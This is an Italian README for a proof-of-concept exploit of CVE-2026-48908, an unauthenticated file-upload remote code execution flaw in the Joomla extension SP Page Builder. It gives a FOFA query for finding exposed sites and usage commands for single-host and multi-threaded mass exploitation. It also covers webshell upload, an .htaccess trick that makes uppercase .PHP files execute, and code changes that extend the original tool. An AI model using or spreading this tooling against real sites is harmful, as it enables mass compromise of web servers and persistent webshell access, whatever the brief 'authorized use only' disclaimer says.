CVE-2026-48908 — SP Page Builder RCE non autenticata

SP Page Builder (com_sppagebuilder) per Joomla ≤ 6.6.1 consente ad attaccanti non autenticati di caricare file arbitrari e ottenere l'esecuzione remota di codice.

Query FOFA

body="com_sppagebuilder"

Utilizzo

Requisiti

• Python 3.8+

pip install -r requirements.txt

Singolo host

python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # solo verifica, nessun comando
python3 exploit_poc.py https://target.example --token abc123   # token personalizzato

Scansione di massa

python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20 thread paralleli
python3 exploit_poc.py --hosts ips.txt --no-verbose             # modalità silenziosa

Webshell personalizzata

python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

Nota: Quando si usa --shell-file, lo script carica solo la webshell e riporta l'URL. Non esegue il comando -c né alcun test di esecuzione. La shell caricata deve gestire l'input dei comandi in modo indipendente.

Opzioni

Demo

Scansione di massa

Output

Dopo una scansione, vengono salvati tre file di risultati:

Come funziona

L'exploit abusa del task asset.uploadCustomIcon di com_sppagebuilder:

1. POST di uno ZIP confezionato (pacchetto di icone) senza autenticazione — nessun token CSRF richiesto.
2. SPPB estrae lo ZIP in /media/com_sppagebuilder/assets/iconfont/<nome>/fonts/.
3. Il file PHP caricato viene servito pubblicamente.

Lo script tenta multiple estensioni PHP (.php, .PHP, .pHp, .Php, .pht, .phtml, ecc.) finché non ne trova una che esegue.

Bypass htaccess

Quando le estensioni PHP dirette sono bloccate dal filtro di SPPB, lo script inserisce un file .htaccess insieme al payload:

AddType application/x-httpd-php .PHP

Questo forza il server web a trattare .PHP (maiuscolo) come PHP — bypassando la blocklist case-sensitive di SPPB. Richiede AllowOverride abilitato e l'esecuzione PHP consentita in /media.

Nota: Il bypass .htaccess + .PHP maiuscolo potrebbe non funzionare su tutte le configurazioni. Se fallisce, prova a usare le estensioni .png o .jpeg. Su server con AllowOverride disabilitato o esecuzione PHP bloccata in /media, anche le shell caricate non verranno eseguite (segnalato come "sola scrittura").

Modifiche

Questo PoC è basato su https://github.com/papageo75/CVE-2026-48908-PoC/ con le seguenti aggiunte:

1. Gestione delle risposte non JSON

Alcune risposte del server possono contenere prefissi non JSON (es. espressioni cron o altro rumore) prima del payload JSON effettivo. Il PoC originale si bloccava su r.json() durante l'analisi di tali risposte. Questa versione cerca il primo carattere { e tenta di decodificare la sottostringa JSON:

Prima:

try:
    data = r.json()
except ValueError:
    return None

Dopo:

try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

Esempio — risposta JSON valida:

{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

Esempio — risposta non JSON (rumore prefisso prima del JSON):

cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. Supporto scansione di massa

Aggiunta la funzionalità di scansione di massa multi-thread:

• --hosts <file> — carica i target da un file (uno per riga)
• -j, --threads <n> — imposta il numero di thread paralleli (predefinito: 10)
• --no-verbose — sopprime l'output dettagliato per host
• Risultati raggruppati e salvati in file .txt categorizzati

3. Caricamento webshell personalizzata

Aggiunta l'opzione --shell-file <percorso> per caricare una webshell PHP personalizzata invece della shell predefinita protetta da token. Quando si usa questa opzione:

• Lo script carica la shell senza eseguire comandi -c
• Nessun test di esecuzione (run()) viene eseguito
• Vengono testate e segnalate tutte le estensioni funzionanti
• Risultati salvati in custom_shell_hosts.txt

Disclaimer

SOLO USO AUTORIZZATO. Solo per test di penetrazione autorizzati, CTF e target di laboratorio. Sei l'unico responsabile per l'uso di questo strumento.